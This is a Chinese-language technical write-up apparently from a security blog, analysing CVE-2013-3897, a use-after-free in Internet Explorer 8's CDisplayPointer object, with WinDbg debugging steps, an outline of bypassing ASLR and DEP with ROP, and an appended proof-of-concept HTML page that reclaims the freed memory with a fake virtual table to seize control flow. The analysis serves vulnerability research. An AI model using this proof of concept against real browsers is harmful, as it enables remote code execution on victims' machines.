CVE-2013-3897漏洞成因与利用分析

1. 简介

  此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存。攻击者可以利用此类漏洞实现远程代码执行。UAF漏洞的根源源于对对象引用计数的处理不当,比如在编写程序时忘记AddRef或者多加了Release,最终导致对象的释放。对于IE的大部分对象(COM编程实现)来说,+4偏移处的含义是该对象的引用计数,可以通过跟踪它来定位补丁前后的位置及被释放的位置。+0偏移处的含义是该对象的虚函数表指针,可以通过它来改变程序执行流程。

2. 实验环境

  操作系统:Win7 SP1

  浏览器:IE8(补丁Windows6.1-KB2879017-x86前)

  漏洞编号:CVE-2013-3897

3. 漏洞分析

3.1. 分析Crash

3.1.1. 运行poc,查看crash

  看到crash原因是 call dword ptr [eax] 处引用了无效的内存空间。查看崩溃处的上下文。

  查看ebx,此时ebx==0031c094。查看函数调用回溯。

  ebx的值也是 mshtml!QIClassID 的第一个参数,mshtml!CDoc::ScrollPointerIntoView 的第二个参数;它是一个0x48大小的对象,也是释放后被重用的对象。

3.1.2. 分析相关代码上下文

  mshtml!CDoc::ScrollPointerIntoView,查看[ebp+0Ch]的变化(即函数的第二个参数,被释放的对象),有如下片段。

 

  在调用mshtml!QIClassID前又调用了mshtml!CDoc::GetLineInfo,因此接下来在mshtml!CDoc::ScrollPointerIntoView和call mshtml!CDoc::GetLineInfo处设置断点,分析参数二[ebp+0Ch]的状态。

3.2. 跟踪调试、分析漏洞成因

3.2.1. 调试工作准备

  开启gflags的Create user mode stack trace database功能(用于进行堆回溯)。

  在POC中加入如下用于跟踪执行流程的调试语句

    IE8下:Math.atan2(0x999, "[*] Before Unselect");

  设置以下断点,观察被释放的对象

    bu mshtml!CDoc::ScrollPointerIntoView

    bu CDoc::ScrollPointerIntoView+0x32

    bu CDoc::ScrollPointerIntoView+0x37

    bu jscript!JsAtan2 ".echo;.printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;.echo;"

3.2.2. 定位释放后重用的对象

  通过调试语句可以得知执行流程:执行godzilla.onpropertychange = fun_onpropertychange ;后立即触发了onpropertychange事件,调用fun_onpropertychange

  执行godzilla.select();后立即触发了onselect事件,调用fun_onselect;fun_onselect内部执行完swapNode后,会来到mshtml!CDoc::ScrollPointerIntoView。

  观察mshtml!CDoc::ScrollPointerIntoView的参数二[ebp+0Ch] == 046e85b4

  它是一个mshtml!CDisplayPointer对象,因此释放后重用的对象就是 CDisplayPointer ,它在select事件被触发时创建,创建过程如下(注意,这里的046e85b4,相对046e8580偏移为0x34;相对046e8598(UserPtr)的偏移为1c;1c/4=7)

  因此整个过程为godzilla.select();触发onselect事件,调用fun_onselect。在此过程中创建一个mshtml!CDisplayPointer对象,fun_onselect内部执行完swapNode后函数mshtml!CDisplayPointer::ScrollIntoView将要通过mshtml!CDisplayPointe对象来设置新的展示位置。

3.2.3. 跟踪对象释放过程

  后边来到mshtml!CDoc::ScrollPointerIntoView的call mshtml!CDoc::GetLineInfo处,此时CDisplayPointer 对象还未被释放。

  对这个对象(UserPtr)的释放过程设置断点:

    bu mshtml!CDisplayPointer::Release ".if ( poi(esp+0x4) == 046e8598 ){} .else{gc}"

    bu ntdll!RtlFreeHeap ".if ( poi(esp+0xc) == 046e8598 ){} .else{gc}"

  因为调用了swapNode,textarea的valueproperty被改变。随后onpropertychange事件被触发,调用fun_onpropertychange

    [*] Enter onpropertychange

    [*] Before Unselect

  document.execCommand("Unselect");的执行,导致了 CDisplayPointer 对象被释放,此时对象释放函数被触发,对象将被释放。

  (如果只对bu mshtml!CDisplayPointer::Release下断点,之后的几次mshtml!CDisplayPointer::Release:是对其他对象的解引用及释放。)

  通过对象释放的堆栈回溯可以看出,mshtml!CDisplayPointer::ScrollIntoView随后触发了onpropertychange事件,fun_onpropertychange内部的Unselect命令导致了对象的释放。

3.2.4. 内存占位及获取执行流程

  CDisplayPointer对象释放后立即对内存进行占位,通过对RtlAllocateHeap设置条件断点,可以定位内存占位。

  ntdll!RtlAllocateHeap+XXX(定位函数返回时eax的值,换成硬编码)

  77d92eb8 ".if (eax == 046e8598){} .else{gc}"

  然后来到下图所示

  此时对象已经被释放,并被占位。POC中对应的代码:war[i].className = data; 申请了17*4+2=70 (0x46) 最后有个\u0000终止符,因此总数是0x48。

  同时在POC中,在第八个4字节处设置伪造的虚函数表地址(因为0x046e85b4相对UserPtr的偏移为0x1C=4*7,相对堆块起始位置的偏移为0x34),从而控制执行流程。

  如果将POC中对应的代码设置为

  对后来的call mshtml!QIClassID下断点,[ebp+8]即指向释放后重新占位的对象

  其内部将索引对象的第一个虚函数,最终调用call dword ptr [eax]。此时eax为我们已经布置好的shellcode(最前面是伪造的虚函数表)的地址(即伪造的虚函数表的地址)。call dword ptr [eax]将调用其第一个虚函数。

4. 漏洞利用

  此UAF漏洞释放后重用的目标是对象的虚函数表,因此通过伪造虚函数表来获取执行流程。由于此漏洞的局限性,我们不能通过它来绕过ASLR只能在利用代码中,只能使用Java 6运行环境JRE1.6的msvcr71.dll(或其他non-ASLR模块)来绕过ASLR。也可以配合其他漏洞,获取模块基址及shellcode的地址来绕过ASLR。最终构造ROP绕过DEP,实现远程代码执行。

  通过non-ASLR模块绕过ASLR的过程比较简单,详见EXP代码。

5.  总结

  UAF漏洞的成因一般都是因为在编程过程中对引用计数的处理不当导致对象被释放后重用的。利用UAF漏洞实现远程代码执行,首先需要Bypass ASLR,获得模块基址及shellcode的地址(也可以通过堆喷射在指定内存空间布置shellcode),然后硬编码、动态构造ROP来Bypass DEP,最终实现任意代码的执行。

  不同的UAF漏洞利用方式会有不同,但是分析它们的流程基本一致。

6. 参考资料

[1] CVE-2013-3897漏洞分析:http://www.freebuf.com/articles/system/29445.html

[2] CVE-2013-3897样本分析学习笔记:http://www.91ri.org/7900.html

[3] CVE-2013-3897 UAF Analysis:http://thecjw.0ginr.com/blog/?p=187

7. 附录

7.1. poc.html

  1. <html>
  2.  
  3. <head>
  4. <script>
  5.  
  6. var data = "";
  7.  
  8. for (i=0; i<17; i++)
  9. {
  10. if (i==7)
  11. {
  12. data += unescape("%u2020%u2030");
  13. //data += "\u4141\u4141";
  14. }
  15. else
  16. {
  17. data += "\u4141\u4141";
  18. }
  19. }
  20. data += "\u4141";
  21.  
  22. function butterfly()
  23. {
  24. for(i=0; i<20; i++)
  25. {
  26. var effect = document.createElement("div");
  27. effect.className = data;
  28. }
  29. }
  30.  
  31. var battleStation = false;
  32. var war = new Array();
  33. var godzilla ;
  34. var minilla ;
  35. var battleStation = false;
  36.  
  37. function fun_onselect()
  38. {
  39. Math.atan2(0x999, "[*] Before swapNode");
  40. minilla.swapNode(document.createElement("div")); // 调用swapNode,通过交换节点从页面布局删除textarea了,同时触发 onpropertychange 事件;
  41. Math.atan2(0x999, "[*] After swapNode");
  42.  
  43. }
  44.  
  45. // fun_onpropertychange第一次被调用时是因为改变了DOM,第二次调用是由swapNode导致的,立即进行内存占位
  46. function fun_onpropertychange()
  47. {
  48. Math.atan2(0x999, "[*] Enter onpropertychange");
  49.  
  50. if (battleStation == true)
  51. {
  52. for (i=0; i<50; i++)
  53. {
  54. war.push(document.createElement("span"));
  55. }
  56. }
  57.  
  58. Math.atan2(0x999, "[*] Before Unselect");
  59. document.execCommand("Unselect"); // 使用了document.execCommand("Unselect")命令撤销 select ,导致了CDisplayPointer对象被释放
  60. Math.atan2(0x999, "[*] After Unselect");
  61.  
  62. if (battleStation == true) // 对已经释放的CDisplayPointer内存进行占位
  63. {
  64. for (i=0; i < war.length; i++)
  65. {
  66. war[i].className = data;
  67. }
  68. }
  69. else
  70. {
  71. battleStation = true;
  72. }
  73.  
  74. Math.atan2(0x999, "[*] Leave onpropertychange");
  75. }
  76.  
  77. function kaiju()
  78. {
  79. godzilla = document.createElement("textarea"); // Create a CTextArea Object
  80. minilla = document.createElement("pre");
  81.  
  82. document.body.appendChild(godzilla);
  83. document.body.appendChild(minilla);
  84. godzilla.appendChild(minilla);
  85.  
  86. godzilla.onselect = fun_onselect ; // 给textarea元素设置 select 处理函数,当textarea文本框被选中时触发并调用处理函数
  87.  
  88. Math.atan2(0x999, "[*] Before godzilla.onpropertychange");
  89. godzilla.onpropertychange = fun_onpropertychange ; // 给textarea元素设置 onpropertychange 事件处理函数,当属性变化时触发调用
  90. Math.atan2(0x999, "[*] After godzilla.onpropertychange");
  91.  
  92. //butterfly();
  93. Math.atan2(0x999, "[*] Before godzilla.select()");
  94. godzilla.select(); // 主动触发 select 处理函数
  95. Math.atan2(0x999, "[*] After godzilla.select()");
  96.  
  97. }
  98.  
  99. </script>
  100. </head>
  101.  
  102. <body onload='kaiju()'>
  103. </body>
  104.  
  105. </html>

CVE-2013-3897漏洞成因与利用分析的更多相关文章

  1. CVE-2013-2551漏洞成因与利用分析(ISCC2014 PWN6)

    CVE-2013-2551漏洞成因与利用分析 1. 简介 VUPEN在Pwn2Own2013上利用此漏洞攻破了Win8+IE10,5月22日VUPEN在其博客上公布了漏洞的细节.它是一个ORG数组整数 ...

  2. CVE-2014-0322漏洞成因与利用分析

    CVE-2014-0322漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存,对指定内存处的值进行了加1.其特点在于攻击者结合flash实现了 ...

  3. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  4. Lib之过?Java反序列化漏洞通用利用分析

    转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...

  5. CVE-2014-0321漏洞成因分析

    1. 简介 最近在补之前落下的想学的东西,古河之前已经在微薄里面公布了此漏洞的poc及利用思路,不过在看古河的文章前我先独立分析一下其漏洞成因,记录下自己的分析流程. 2. 实验环境 操作系统:Win ...

  6. Office高级威胁漏洞在野利用分析

    高级威胁漏洞背景 在高级威胁攻击中,黑客远程投递入侵客户端最喜欢的漏洞是office文档漏洞,就在刚刚结束不久的黑帽子大会上,最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞,这个漏洞是时下o ...

  7. CVE-2015-3864漏洞利用分析(exploit_from_google)

    title: CVE-2015-3864漏洞利用分析(exploit_from_google) author: hac425 tags: CVE-2015-3864 文件格式漏洞 categories ...

  8. 干货|微软远程桌面服务蠕虫漏洞(CVE-2019-1182)分析

    2019年8月,微软发布了一套针对远程桌面服务的修复程序,其中包括两个关键的远程执行代码(RCE)漏洞,CVE-2019-1181和CVE-2019-1182.与之前修复的"BlueKeep ...

  9. CVE-2015-0057 POC构造 & 利用分析(2015.7)

    CVE-2015-0057 POC构造 & 利用分析 主要内容: 构造POC 利用思路 0x00 初探 从这篇文章可以获知: 1.问题出在 win32k!xxxEnableWndSBArrow ...

随机推荐

  1. 【python】-matplotlib.pylab常规用法

    目的: 了解matplotlib.pylab常规用法 示例 import matplotlib.pylab as pl x = range(10) y = [i * i for i in x] pl. ...

  2. SystemVerilog中枚举类型注意事项

    enum logic {a = 'bx, d = 1'bz}; 在SystemVerilog枚举类型中当使用logic进行声明时,注意logic为四态,所以当使用时如果声明时需要x.z态需要显式声明. ...

  3. [PY3]——实现一个优先级队列

    import heapq class PriorityQueue: def __init__(self): self._queue=[] self._index=0 def push(self,ite ...

  4. VirtualBox-4.3.0启动报错及解决办法

    今天装了VirtualBox-4.3.0-89960-Win.exe,安装过程后启动时报错: 虚拟电脑控制台-严重错误(标题) 创建 COM 对象失败. 应用程序将被中断. 被召者 RC: E_NOI ...

  5. webpack的学习感悟

    https://github.com/webpack/webpack    webpack gethub地址. http://webpack.github.io/   webpack 官网 前言 we ...

  6. SpringCloud实战之初级入门(二)— 服务注册与服务调用

    目录 1.环境介绍 2.服务提供 2.1 创建工程 2.2 修改配置文件 2.3 修改启动文件 2.5 亲测注意事项 3.服务调用 3.1 创建工程 3.2 修改配置文件 3.3 修改启动文件 3.4 ...

  7. Struts 2 框架相比Struts1的新特性

    POJO形式和POJO动作 - 已经摆脱了Struts2的动作表单的Struts框架的一个组成部分.Struts2可以使用任何的POJO接收的形式输入.同样的,你现在可以看到任何POJO的Action ...

  8. 嵌套Golang对象的初始化

      比如有这样一个对象: type ProductConfig struct {     Site map[string]string } 对应的初始化可以如下写: var pc ProductCon ...

  9. HttpContext.Current.Request.RawUrl是什么意思?

    原始 URL 定义为 URL 中域信息之后的部分.在 URL 字符串 http://www.contoso.com/articles/recent.aspx 中,原始 URL 为/articles/r ...

  10. asp.net 日期转换为大写汉字

    //年份转换为大写汉字 public static string numtoUpper(int num) { return "零壹贰叁肆伍陆柒捌玖"[num].ToString() ...